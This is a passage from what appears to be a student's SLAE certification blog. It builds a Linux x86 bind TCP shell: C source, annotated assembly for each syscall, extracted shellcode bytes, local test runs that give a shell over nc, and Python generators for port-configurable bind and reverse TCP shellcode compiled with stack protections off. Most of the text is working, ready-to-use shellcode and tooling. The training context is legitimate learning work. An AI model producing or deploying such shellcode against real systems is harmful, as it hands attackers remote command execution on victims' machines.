            for c in bytearray(shellcode):
                    sc += "\\x%02x" % c
            shellcode_c = '#include\n\
#include\n\
unsigned char code[] = "%s";\n\
main(){\n\
printf("Shellcode Length: %%d\\n", strlen(code));\n\
int (*ret)() = (int(*)())code;\n\
ret();\n\
}'%sc
            with open("shellcode_tmp.c", "w") as f:
                f.write(shellcode_c)
            os.system("gcc shellcode_tmp.c -fno-stack-protector -z execstack -o shellcode")
            os.system("rm shellcode_tmp.c")
            if nullbytes:
                print "[+] Reverse TCP shellcode created with null bytes\n[+] Run ./shellcode"
            else:
                print "[+] Reverse TCP shellcode created\n[+] Run ./shellcode"
        except ValueError:
            print "[-] Port must be a number"
    else:
        print "usage: %prog  \nExample: ./%prog 192.168.1.64 4444"



Source code: https://github.com/Sinkmanu/SLAE/tree/master/Assignment2

sábado, 25 de febrero de 2017

Assignment 1: Bind TCP Shell (SLAE)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-858


Exercise

  • Create a Shell_Bind_TCP shellcode
    • Binds to a port
    • Execs Shell on incoming connection
  •  Port number should be easily configurable

Solution

 First, we need to understand how the sockets work on linux. For this purpose I create a new program using a language where I am confortable, this socket receives an incoming connection and run a command using execve. The methods involved on it:

  • socket: Create an endpoint for communication and return a file descriptor  
  • bind: Bind a socket to a port
  • listen: Listen for connections on a socket
  • accept: Accept a connection on a socket
  • dup2: Duplicate the file descriptor, used for set stdin, stdout and sterr to the new file descritor (returned from accept)
  • execve: Execute a program (our purpose /bin/sh)

       
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

int main(int argc, char *argv[]){

        // AF_INET = 2;         SOCK_STREAM = 1
        int fd = 0;
        int connfd = 0;
        fd = socket(AF_INET, SOCK_STREAM, 0);

        struct sockaddr_in serv_addr; 
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
        serv_addr.sin_port = htons(4444); 

        bind(fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); 
        listen(fd, 0);

        connfd = accept(fd, (struct sockaddr*)NULL, NULL);

        // redirect stdin, stdout, stderr
        dup2(connfd, 0);
        dup2(connfd, 1);
        dup2(connfd, 2); 

        // run program
        execve("/bin/sh", NULL, NULL);

}

We compile, run and test it to check if It is working...

Server:
       
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ gcc bind-shell-tcp.c -o bind-shell-tcp
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ ./bind-shell-tcp 

Client:
       
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ sudo netstat -lntp | grep 4444
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      1229/bind-shell-tcp
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ nc -vv 127.0.0.1 4444
localhost [127.0.0.1] 4444 (?) open
id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)

After, I start to do same in assembly language. But before we need to know what are the numbers of the involved system calls.

Method System call Socket syscall Description
socket 0x66 (102) 1 (SYS_SOCKET) Create a socket
bind 0x66 (102) 2 (SYS_BIND) Bind a socket
listen 0x66 (102) 4 (SYS_LISTEN) Listen for connections
accept 0x66 (102) 5 (SYS_ACCEPT) Accept connections
dup2 0x3f (63) None Duplicate the file descriptors
execve 0xb (11) None Execute a program

System syscalls: /usr/include/i386-linux-gnu/asm/unistd_32.h
Socket syscalls: /usr/include/linux/net.h
Socket protocols: /usr/include/i386-linux-gnu/bits/socket.h
Socket domains: /usr/include/netinet/in.h
Socket types: /usr/include/i386-linux-gnu/bits/socket_type.h

Create a socket

       
int socket(int domain, int type, int protocol);


The domain will be IPv4 Internel Protocol, the type (of communication) SOCK_STREAM and the protocol. Basically, we push the parameters in the stack and save the stack pointer in the ecx register, after we run the system call.

       
        xor eax, eax
        xor ebx, ebx
        push eax                ; protocol      - 0
        push 1                  ; type          - SOCK_STREAM,
        push 2                  ; dominio       - AF_INET

        mov ecx, esp            ; arguments
        mov bl, 1               ; sys_socket (create)
        mov al, 102             ; systemcall
        int 0x80

        mov esi, eax            ; save sockfd


Bind a socket

       
int bind(int sockfd, const struct sockaddr *addr,
                socklen_t addrlen);

           struct sockaddr {
               sa_family_t sa_family;
               char        sa_data[14];
           }

    // IPv4 AF_INET sockets:

    struct sockaddr_in {
            short            sin_family; 
            unsigned short   sin_port;     
            struct in_addr   sin_addr;     
            char             sin_zero[8];  
    };

        struct sockaddr_in serv_addr;
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
        serv_addr.sin_port = htons(4444);

I saved the created socket in the esi register, so i need to bind this socket. Firstly, I create the sockaddr variable and save it in the register ecx, secondly, I push in the stack the 3rd argument, thirdly, push ecx (the sockaddr variable) in the stack, it will be the second argument, finally, push the register esi in the stack, it is the file descriptor of the socket.
To create the sockaddr, we save in the stack the port, address and the address family. I save the stack pointer address in the ecx register. After, I push the address length, the sockaddr created before (ecx) and the file descriptor (esi). Finally, I move the stack pointer to ecx (arguments), mov to ebx the socket call for bind (2) and move the syscall for sockets to eax and execute the interrupt.

       
        xor eax, eax
        push eax                ; struct addr
        push word 0x5c11        ; Port 4444
        push word 2             ; PF_INET
        mov ecx, esp            ; save *addr in ecx

        push 0x10               ; length addrlen=16
        push ecx                ; &serv_addr
        push esi                ; sockfd

        mov ecx, esp            ; arguments
        mov al, 102             ; systemcall
        mov bl, 2               ; sys_bind
        int 0x80

 

Listen

       
int listen(int sockfd, int backlog);


The backlog is the maximum length that can be queue for pending connections for the file descriptor and sockfd is the socket file descriptor. I used 0 for the backlog and the socket file descriptor that it is saved in the esi register.

       
        xor eax, eax
        push eax                ; backlog
        push esi                ; sockfd

        mov ecx, esp            ; save arguments
        mov bl, 4               ; sys_listen
        mov al, 102             ; socket syscall
        int 0x80

 

Accept

       
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);


In this case the second and the third argument are NULL, the first is the socket file descriptor saved in esi.

       
        xor eax, eax
        push eax                ; null
        push eax                ; null
        push esi                ; sockfd

        mov ecx, esp            ; save arguments
        mov bl, 5               ; sys_accept
        mov al, 102             ; socket syscall
        int 0x80


In this point, the program is waiting a new connection from the client.

 

Dup2

       
int dup2(int oldfd, int newfd);


Duplicate the file descriptor, I did a loop to duplicate the three file descriptors (in, out and err) with the socket file descriptor.

       
        mov ebx, eax            ; oldfd = clientfd
        xor ecx, ecx            ; ecx = newfd
loop:
        mov al, 0x3f            ; syscall dup2
        int 0x80
        inc ecx
        cmp ecx, 0x2
        jle loop

 

Execve

       
int execve(const char *filename, char *const argv[],
                  char *const envp[]);


Simple exevce shellcode /bin/sh that use the stack.

       
        xor eax, eax
        push eax
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80



Final program

       
global _start

section .text
_start:
        ; int socket(int domain, int type, int protocol);
        xor eax, eax
        xor ebx, ebx
        push eax                ; protocol      - 0
        push 1                  ; type          - SOCK_STREAM,
        push 2                  ; dominio       - AF_INET

        mov ecx, esp            ; arguments
        mov bl, 1               ; sys_socket
        mov al, 102             ; systemcall
        int 0x80

        mov esi, eax            ; save sockfd


        ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
        xor eax, eax
        xor ecx, ecx
        ; *addr
        push eax                ; addr
        push word 0x5c11        ; Port 4444
        push word 2             ; PF_INET
        mov ecx, esp            ; save *addr in ecx

        push 0x10               ; length addrlen=16
        push ecx                ; &serv_addr
        push esi                ; sockfd

        mov ecx, esp            ; arguments
        mov al, 102             ; systemcall
        mov bl, 2               ; sys_bind
        int 0x80

        ; int listen(int sockfd, int backlog);
        xor eax, eax
        push eax                ; backlog
        push esi                ; sockfd

        mov ecx, esp            ; save arguments
        mov bl, 4               ; sys_listen
        mov al, 102             ; socket syscall
        int 0x80

        ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
        xor eax, eax
        push eax                ; null
        push eax                ; null
        push esi                ; sockfd

        mov ecx, esp            ; save arguments
        mov bl, 5               ; sys_accept 
        mov al, 102             ; socket syscall
        int 0x80

        ; int dup2(int oldfd, int newfd);
        mov ebx, eax            ; oldfd = clientfd
        xor ecx, ecx            ; ecx = newfd      
loop:
        mov al, 0x3f            ; syscall dup2    
        int 0x80
        inc ecx
        cmp ecx, 0x2
        jle loop


        ; execve stack-sh
        xor eax, eax
        push eax
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80

It works...
       
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ ./compile.sh bind-tcp
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ objdump -d ./bind-tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x31\xc9\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x31\xc0\x50\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ vim shellcode.c 
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ ./shellcode 
Shellcode Length:  109

       
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ sudo netstat -lnpt | grep 4444
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      1334/shellcode  
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ nc -vv 127.0.0.1 4444
localhost [127.0.0.1] 4444 (?) open
id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)


Generate a bind TCP shellcode with configurable port

       
#!/usr/bin/env python

import sys
import struct
import os


def port2hex(port):
    return struct.pack(">H", port)


if __name__ == "__main__":
    if sys.argv[1] is not None:
        try:
            if (int(sys.argv[1])<1024):
                print "[?] Only root can open ports below 1024"

            port = port2hex(int(sys.argv[1]))
            port_check = [port.encode('hex')[i:i+2] for i in range(0, len(port.encode('hex')), 2)]
            nullbytes = False
            for i in port_check:
                if (i == "00"):
                    print "[-] The port contains null bytes, use another port"
                    nullbytes = True
            shellcode = "\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x31\xc9\x50\x66\x68%s\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x31\xc0\x50\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"%port
            sc = ""
            for c in bytearray(shellcode):
                    sc += "\\x%02x" % c
            shellcode_c = '#include\n\
#include\n\
unsigned char code[] = "%s";\n\
main(){\n\
printf("Shellcode Length: %%d\\n", strlen(code));\n\
int (*ret)() = (int(*)())code;\n\
ret();\n\
}'%sc
            with open("shellcode_tmp.c", "w") as f:
                f.write(shellcode_c)
            os.system("gcc shellcode_tmp.c -fno-stack-protector -z execstack -o shellcode")
            os.system("rm shellcode_tmp.c")
            if nullbytes:
                print "[+] Bind TCP shellcode created with null bytes\n[+] Run ./shellcode"
            else:
                print "[+] Bind TCP shellcode created\n[+] Run ./shellcode"
        except ValueError:
            print "[-] Port must be a number"
    else:
        print "usage: %prog  \nExample: ./%prog 4444"




Source code: https://github.com/Sinkmanu/SLAE/tree/master/Assignment1